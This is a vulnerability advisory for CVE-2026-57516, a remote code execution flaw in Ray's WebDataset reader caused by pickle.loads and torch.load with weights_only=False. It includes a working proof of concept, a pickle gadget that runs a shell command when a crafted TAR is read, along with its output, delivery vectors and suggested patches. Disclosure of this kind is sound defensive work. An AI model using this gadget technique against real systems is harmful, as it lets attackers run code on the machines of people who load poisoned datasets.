CVE-2026-57516: Ray < 2.56.0 Unsafe Deserialization RCE via WebDataset Reader
Summary
ray.data.readwebdataset(paths=...) is a @PublicAPI(stability="alpha") reader for WebDataset-format TAR files. Its default decoder=True invokes defaultdecoder on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation:
- .pickle / .pkl -> pickle.loads(value) - .pt / .pth -> torch.load(io.BytesIO(value), weightsonly=False)
Both fire during a standard ray.data.readwebdataset(...).takeall() / .iterbatches() call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to readwebdataset) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed.
This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed tensorextensions/arrow.py:deserializewithfallback and made cloudpickle opt-in via RAYDATAAUTOLOADCLOUDPICKLETENSORMETADATA=1. The WebDataset path is a different code site and was not touched.
Vulnerable code (HEAD a157d4d)
python/ray/data/internal/datasource/webdatasetdatasource.py lines 175-225, the defaultdecoder function:
python def defaultdecoder(sample, format=True): sample = dict(sample) for key, value in sample.items(): extension = key.split(".")[-1] ... elif extension in ["pt", "pth"]: import torch # PyTorch 2.6 changed torch.load default weightsonly=True, which # breaks loading general Python objects previously serialized for # WebDataset .pt payloads. sample[key] = torch.load(io.BytesIO(value), weightsonly=False) # line 219 elif extension in ["pickle", "pkl"]: import pickle sample[key] = pickle.loads(value) # line 223 return sample
The comment for the .pt/.pth branch is itself a security smell: it documents that the maintainer chose weightsonly=False to override PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed.
Reachability and default-on confirmation
python/ray/data/readapi.py:2289 defines readwebdataset with default decoder=True:
python @PublicAPI(stability="alpha") def readwebdataset( paths, , ... decoder: Optional[Union[bool, str, callable, list]] = True, ... ) -> Dataset: ... datasource = WebDatasetDatasource(paths, decoder=decoder, ...)
WebDatasetDatasource.readstream (line 367) calls the decoder unconditionally when not None:
python for sample in samples: if self.decoder is not None: sample = applylist(self.decoder, sample, default=defaultdecoder)
True is not None evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass decoder=None (or a custom safe decoder). The documentation does not warn about the behavior.
End-to-end reproduction
Tested on a fresh venv (pip install ray[data]) on Linux x8664. Ray reports version == "2.55.1" (the patched-against-GHSA-mw35 release):
python import io, os, pickle, subprocess, tarfile, tempfile, sys
MARKER = "/tmp/raywebdatasetpocrcemarker"
class Gadget: def reduce(self): cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.readwebdataset\\n" f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"") return (os.system, (cmd,))
with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f: tarpath = f.name with tarfile.open(tarpath, "w") as tar: for name, body in (("000000.txt", b"hello"), ("000000.pkl", pickle.dumps(Gadget()))): ti = tarfile.TarInfo(name=name); ti.size = len(body) tar.addfile(ti, io.BytesIO(body))
import ray, ray.data ray.init(numcpus=2, ignorereiniterror=True, logtodriver=False) ds = ray.data.readwebdataset(paths=[tarpath]) rows = ds.takeall() assert os.path.exists(MARKER), "no RCE" print(open(MARKER).read())
Output:
ray version: 2.55.1 crafted /tmp/tmpjpos115h.tar (10240 bytes) ds.takeall() returned 1 row(s) RCE CONFIRMED:marker at /tmp/raywebdatasetpocrcemarker: RCE via ray.data.readwebdataset pid=248816 user=xyz
The .pt/.pth variant is the exact same primitive against the torch.load(io.BytesIO(value), weightsonly=False) branch; replace the TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.
Real-world delivery vectors
- paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised. - paths=["https://attacker/model.tar"] -- HTTP-served WebDataset. - HuggingFace Hub -- WebDataset is a recognized HF dataset format; users pull TAR shards via datasets and feed them to Ray Data. - Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.
Why GHSA-mw35 doesn't cover this
GHSA-mw35-8rx3-xf9r patched tensorextensions/arrow.py:deserializewithfallback by gating cloudpickle.loads behind RAYDATAAUTOLOADCLOUDPICKLETENSORMETADATA=1. That change touches the Parquet ExtensionType deserialization path only. The advisory text does not mention WebDataset, the WebDataset code is in a different module, and the unsafe loads here use pickle.loads and torch.load(weightsonly=False) (not cloudpickle.loads).
Suggested patch
Two minimal options, both Ray-internal:
1. Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix pattern. Replace the .pt/.pth and .pkl/.pickle branches with a guard:
python import os ALLOWUNSAFE = os.environ.get( "RAYDATAWEBDATASETALLOWUNSAFEPICKLE", "0" ) == "1"
elif extension in ["pt", "pth"]: if not ALLOWUNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weightsonly=False. Set " f"RAYDATAWEBDATASETALLOWUNSAFEPICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weightsonly=False)
elif extension in ["pickle", "pkl"]: if not ALLOWUNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAYDATAWEBDATASETALLOWUNSAFEPICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value)
2. Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.
Either option flips the default-on RCE primitive into an explicit opt-in. The current default-on behavior provides no signal to users that calling ray.data.readwebdataset on an untrusted TAR is equivalent to running attacker code.
References
- Source: python/ray/data/internal/datasource/webdatasetdatasource.py:175-225 - Public API: python/ray/data/readapi.py:2287-2370 (readwebdataset) - Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0) - Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder. - WebDataset format: https://github.com/webdataset/webdataset
Other sources
Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the readwebdataset() function. The defaultdecoder() function in webdatasetdatasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weightsonly=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/rayto a version that resolves this vulnerability.Fixed in 2.56.0 - Upgrade
Upgrade
Rayto a version that resolves this vulnerability.Fixed in 2.56.0 - Configuration
Gate the .pkl/.pickle branch (pickle.loads) and the .pt/.pth branch (torch.load(..., weights_only=False)) behind an explicit opt-in using the environment variable RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE; default behavior should refuse to load these unsafe members unless the opt-in is set ("Refusing to unpickle WebDataset member ... or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for trusted sources").
Ray WebDataset reader (_default_decoder in python/ray/data/_internal/datasource/webdataset_datasource.py) RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE = set to 1 only for trusted sources - Configuration
Replace the current .pt/.pth deserialization behavior `torch.load(io.BytesIO(value), weights_only=False)` with a safe alternative so that `weights_only=False` is not used unless explicitly allowed by a trusted/opt-in path.
Ray WebDataset reader torch.load weights_only parameter = weights_only=False must not be used by default
Event History
Frequently Asked Questions
What is the severity of CVE-2026-57516?
The severity of CVE-2026-57516 is rated high with a score of 8.8.
What is CVE-2026-57516?
CVE-2026-57516 is an unsafe deserialization vulnerability in Ray versions prior to 2.56.0 that allows for remote code execution via the WebDataset reader.
How do I fix CVE-2026-57516?
To fix CVE-2026-57516, update Ray to version 2.56.0 or later.
What can attackers do with CVE-2026-57516?
Attackers can exploit CVE-2026-57516 to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function.
Are all versions of Ray affected by CVE-2026-57516?
Yes, all Ray versions prior to 2.56.0 are affected by CVE-2026-57516.